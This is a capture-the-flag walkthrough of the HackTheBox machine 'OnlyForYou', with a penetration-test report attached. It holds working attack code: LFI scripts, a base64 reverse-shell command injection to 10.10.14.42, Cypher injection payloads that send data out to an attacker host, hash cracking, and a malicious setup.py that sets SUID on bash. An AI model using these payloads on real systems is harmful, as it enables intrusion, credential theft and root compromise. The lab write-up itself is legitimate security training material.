HackTheBox: OnlyForYou — Medium (Linux)

Full security assessment walkthrough for OnlyForYou on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
OnlyForYou
HackTheBox
Linux Medium

📌 Introduction

OnlyForYou

logo
logo

🔖 Techniques & Vulnerabilities

sql injectioncommand injectionlfisudo

🎯 Attack Surface Analysis

PortServiceVersion / Banner
22/tcpsshsyn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcphttpsyn-ack nginx 1.18.0 (Ubuntu)
22/tcpSSH
  • Credential brute-force and password spraying
  • Username enumeration via timing side-channel in older OpenSSH versions
  • Weak or reused private key material granting unauthorised access
  • Version-specific CVE research based on banner fingerprint
  • Lateral movement using credentials discovered from other services
80/tcpHTTP
  • Content and directory discovery — hidden files, backup archives, development endpoints
  • CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
  • SQL injection — database extraction, authentication bypass, or OS command execution
  • Command injection — OS execution via unsanitised parameter handling
  • Server-Side Template Injection (SSTI) — code execution through template engine abuse
  • Local File Inclusion (LFI) and path traversal — sensitive file disclosure
  • Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
  • File upload abuse — filter bypass for webshell placement
  • XML External Entity injection (XXE) in XML-consuming endpoints
  • Authentication and session weaknesses — weak passwords, predictable tokens

📖 Walkthrough

nmap

    PORT   STATE SERVICE REASON  VERSION
    22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   3072 e883e0a9fd43df38198aaa35438411ec (RSA)
    | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDX7r34pmJ6U9KrHg0/WDdrofcOXqTr13Iix+3D5ChuYwY2fmqIBlfuDo0Cz0xLnb/jaT3ODuDtmAih6unQluWw3RAf03l/tHxXfvXlWBE3I7uDu+roHQM7+hyShn+559JweJlofiYKHjaErMp33DI22BjviMrCGabALgWALCwjqaV7Dt6ogSllj+09trFFwr2xzzrqhQVMdUdljle99R41Hzle7QTl4maonlUAdd2Ok41ACIu/N2G/iE61snOmAzYXGE8X6/7eqynhkC4AaWgV8h0CwLeCCMj4giBgOo6EvyJCBgoMp/wH/90U477WiJQZrjO9vgrh2/cjLDDowpKJDrDIcDWdh0aE42JVAWuu7IDrv0oKBLGlyznE1eZsX2u1FH8EGYXkl58GrmFbyIT83HsXjF1+rapAUtG0Zi9JskF/DPy5+1HDWJShfwhLsfqMuuyEdotL4Vzw8ZWCIQ4TVXMUwFfVkvf410tIFYEUaVk5f9pVVfYvQsCULQb+/uc=
    |   256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
    | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAz/tMC3s/5jKIZRgBD078k7/6DY8NBXEE8ytGQd9DjIIvZdSpwyOzeLABxydMR79kDrMyX+vTP0VY5132jMo5w=
    |   256 445f7aa377690a77789b04e09f11db80 (ED25519)
    |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqatISwZi/EOVbwqfFbhx22EEv6f+8YgmQFknTvg0wr
    80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    | http-methods:
    |_  Supported Methods: GET HEAD OPTIONS
    |_http-title: Did not follow redirect to http://only4you.htb/
    ```

## LFI via `download()`
- script for automation
    
    ```python
    #!/usr/bin/python3
    import os, sys
    down = "/home/kali/Downloads"
    folder = "/home/kali/Desktop/htb/Box/onlyforyou/lfi/"
    def read(filename):
        cmd = "curl -s -i -k -X 'POST' -H 'Host: beta.only4you.htb' -H 'Cache-Control: max-age=0' -H 'Upgrade-Insecure-Requests: 1' -H 'Origin: http://beta.only4you.htb' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary 'image="+filename+"' 'http://beta.only4you.htb/download'"
        output = os.popen(cmd).read()
        return output
    def save_file(output, filename):
        if "Content-Length: 197" in output:
            print(f"[-]: {filename}")
        else:
            try:
                save_file = filename.replace("/","_")
                with open(folder+save_file, 'a') as out:
                    out.write(output + '\n')
            except:
                pass
            print(f"[+]: {filename}")
    filename = sys.argv[2]
    mod = sys.argv[1]
    if mod == "f":
        print(read(filename))
    elif mod == "fw":
        save_file(read(filename), filename)
    elif mod == "b":
        wordlist = filename
        with open(wordlist) as f:
            lines = f.readlines()
        for path in lines:
            output = read(path.strip())
            save_file(output, path.strip())
    else:
        print("script.py [MOD] [FILE_TO_READ, WORDLIST]")
        exit()
    ```
    
    Short, only read file
    
    ```python
    #!/usr/bin/python3
    import os, sys
    
    def read(filename):
        cmd = "curl -s -i -k -X 'POST' -H 'Host: beta.only4you.htb' -H 'Cache-Control: max-age=0' -H 'Upgrade-Insecure-Requests: 1' -H 'Origin: http://beta.only4you.htb' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary 'image="+filename+"' 'http://beta.only4you.htb/download'"
        return os.popen(cmd).read()
    
    filename = sys.argv[1]
    print(read(filename))
    
    ```
    

We can set a absolute path to download any file on the system.

- `download()` function
    
    ```python
    @app.route('/download', methods=['POST'])
    def download():
        image = request.form['image']
        filename = posixpath.normpath(image) 
        if '..' in filename or filename.startswith('../'):
            flash('Hacking detected!', 'danger')
            return redirect('/list')
        if not os.path.isabs(filename):
            filename = os.path.join(app.config['LIST_FOLDER'], filename)
        try:
            if not os.path.isfile(filename):
                flash('Image doesn\'t exist!', 'danger')
                return redirect('/list')
        except (TypeError, ValueError):
            raise BadRequest()
        return send_file(filename, as_attachment=True)
    ```
    

```python
import os

def test():
    filename = "/abc/omg/test"
    filename = os.path.join("/tmp/test/uploads/list", filename)
    print(filename)
test()

This is because the os.path.join() dont use the given path when the filname starts with /

We can read the config file of the nginx server to get the web folder path.

  • /etc/nginx/sites-enabled/default

```python server { listen 80; return 301 http://only4you.htb$requesturi; } server { listen 80; servername only4you.htb;

location / { include proxyparams; proxypass http://unix:/var/www/only4you.htb/only4you.sock; }} server { listen 80; servername beta.only4you.htb; location / { include proxyparams; proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock; ```

  • /var/www/only4you.htb/app.py
  • /var/www/beta.only4you.htb/app.py

We find in /var/www/only4you.htb/app.py

from form import sendmessage

We find the file /var/www/only4you.htb/form.py

Command Injection

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) # <--
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1
		else:
			domains = []
			ips = []
<SNIP>

We can inject a OS command in the email, because the domain is not validated.

name=test&email=test%40example.de; echo YmFzaCAtYyAnYmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNDIvMTIzNCAwPiYxJw== | base64 -d | bash  #&subject=test&message=test

We get in the response cookie the msg. But the command is executed.

{"_flashes":[{" t":["danger","You are not authorized!"]}]}

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral Movement

Untitled
Untitled

We see the local port 8001 is open.

Default creds

admin : admin

We find a SQL injection in the search funkction, when we use the char ' it gets a 500 Server Error !

Cypher Injection neo4j

SQL Injection from SQLmap

  • search=a' AND 1=1 AND 'A'='A

Read Database Version

Cypher Injection (neo4j)

  • ' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.42/?version='+ version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

Get labels

  • ' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.14.42/?label='+label as l RETURN 0 as _0 //

user, employee

Get colum from labels

  • ' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.42/?'+ p +'='+toString(f[p]) as l RETURN 0 as _0 //

admin : 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 - admin

john : a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 - ?

Crack Hack

Crack hash from user john

  • hashcat -m 1400 hash /usr/share/wordlists/rockyou.txt

PW: ThisIs4You

→ user.txt

Priv Esc

  • sudo -l
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

pip download

Malicious Python Packages and Code Execution via pip download

We can login to Gogs with john and the password. Use the Test repo to crate a setup.py

https://github.com/wunderwuzzi23/thisisfine_wuzzi/

from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info

def RunCommand():
    import os 
    os.popen("chmod u+s /bin/bash").read()

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)

class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

Change the Repo to public !

  • sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/archive/master.tar.gz

→ root.txt

📋 Security Assessment Report

2
Critical
2
High
0
Medium
2
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — SQL Injection — Database Compromise
9.1
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application incorporated user-supplied input directly into database queries without parameterisation. SQL injection was identified in authentication and data retrieval endpoints, allowing an attacker to manipulate query structure, extract unauthorised data, and bypass access controls entirely.

Impact

An attacker can extract the complete database contents — including usernames, password hashes, session tokens, and sensitive user records — without valid credentials. Authentication mechanisms can be bypassed by injecting always-true conditions. In environments where the database account holds elevated permissions, OS-level command execution is achievable through built-in procedures (xp_cmdshell, UDF), escalating directly to full server compromise as was demonstrated in this engagement.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Replace all dynamic SQL query construction with parameterised queries or prepared statements at every database interaction point. Apply strict type validation on all inputs. Enforce least-privilege database accounts restricted to only required tables and operations. Deploy a Web Application Firewall to detect SQL injection patterns. Suppress all database error detail in production responses to prevent schema enumeration by attackers.
F-003 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
F-004 — Local File Inclusion — Sensitive File Disclosure
7.5
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the application constructed file system paths using user-supplied parameters without adequate sanitisation or path canonicalisation. By injecting path traversal sequences into the vulnerable parameter, it was possible to traverse outside the intended directory and read arbitrary files from the server file system.

Impact

An attacker can read arbitrary files accessible to the web application process — including database credentials, application API keys, SSH private keys from user home directories, and system files such as /etc/passwd and /etc/shadow. Credentials discovered through file inclusion were used during this engagement to gain authenticated access to additional services. In PHP applications, log poisoning chains this vulnerability to full remote code execution.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Validate all file path inputs by canonicalising the resolved path and verifying it begins within the expected base directory before any file operation. Implement a strict allowlist of permitted filenames where dynamic file access is required. Apply PHP open_basedir restrictions to prevent file access outside the application directory. Remove file inclusion functionality that relies on user-supplied paths and replace with explicit, hardcoded include statements.
Reactions

Related Articles